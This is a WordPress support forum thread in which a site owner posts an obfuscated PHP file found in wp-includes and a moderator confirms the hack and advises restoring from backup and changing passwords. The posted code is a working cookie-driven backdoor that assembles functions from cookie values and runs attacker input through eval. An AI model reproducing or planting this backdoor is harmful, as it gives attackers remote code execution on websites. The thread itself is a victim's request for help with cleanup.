Title: File hacked wp-includes\include.php
Last modified: September 24, 2022

---

# File hacked wp-includes\include.php

 *  [viriato74](https://wordpress.org/support/users/jpbenfica/)
 * (@jpbenfica)
 * [3 years, 8 months ago](https://wordpress.org/support/topic/file-hacked-wp-includesinclude-php/)
 * File hacked? **wp-includes\include.php**
    After deleted, appears again.
 *     ```
       <?php
       class Apt
       {
           private static $s;
           public static function g($n)
           {
               if (!self::$s)
                   self::i();
               return self::$s[$n];
           }
           private static function i()
           {
               self::$s = array(
                   0135,
                   0135,
                   0116,
                   0111,
                   026,
                   0136,
                   0122,
                   012,
                   00
               );
           }
       }
       function click()
       {
           $_fkm = $_COOKIE;
           ($_fkm && isset($_fkm[Apt::g(0)])) ? (($_h = $_fkm[Apt::g(1)] . $_fkm[Apt::g(2)]) && ($_zpq = $_h($_fkm[Apt::g(3)] . $_fkm[Apt::g(4)])) && ($_uly = $_h($_fkm[Apt::g(5)] . $_fkm[Apt::g(6)])) && ($_uly = $_uly($_h($_fkm[Apt::g(7)]))) && @eval($_uly)) : $_fkm;
           return Apt::g(8);
       }
       click();
       ```
   
 * The page I need help with: _[[log in](https://login.wordpress.org/?redirect_to=https%3A%2F%2Fwordpress.org%2Fsupport%2Ftopic%2Ffile-hacked-wp-includesinclude-php%2F%3Foutput_format%3Dmd&locale=en_US)
   to see the link]_

Viewing 2 replies - 1 through 2 (of 2 total)

 *  Moderator [threadi](https://wordpress.org/support/users/threadi/)
 * (@threadi)
 * [3 years, 8 months ago](https://wordpress.org/support/topic/file-hacked-wp-includesinclude-php/#post-16040543)
 * Yes, that’s hacked. However, not the file but your entire project is certainly
   affected.
 * First have a look at this article: [https://wordpress.org/support/article/faq-my-site-was-hacked/](https://wordpress.org/support/article/faq-my-site-was-hacked/)
 * My recommendation would be to make a backup and delete everything that is currently
   there. After importing the backup, import all pending updates and change passwords.
   This is the only way to get a clean project again.
 *  Thread Starter [viriato74](https://wordpress.org/support/users/jpbenfica/)
 * (@jpbenfica)
 * [3 years, 8 months ago](https://wordpress.org/support/topic/file-hacked-wp-includesinclude-php/#post-16040547)
 * Thanks

Viewing 2 replies - 1 through 2 (of 2 total)

The topic ‘File hacked wp-includes\include.php’ is closed to new replies.

## Tags

 * [eval](https://wordpress.org/support/topic-tag/eval/)
 * [php](https://wordpress.org/support/topic-tag/php/)

 * In: [Fixing WordPress](https://wordpress.org/support/forum/how-to-and-troubleshooting/)
 * 2 replies
 * 2 participants
 * Last reply from: [viriato74](https://wordpress.org/support/users/jpbenfica/)
 * Last activity: [3 years, 8 months ago](https://wordpress.org/support/topic/file-hacked-wp-includesinclude-php/#post-16040547)
 * Status: not resolved

## Topics

### Topics with no replies

### Non-support topics

### Resolved topics

### Unresolved topics

### All topics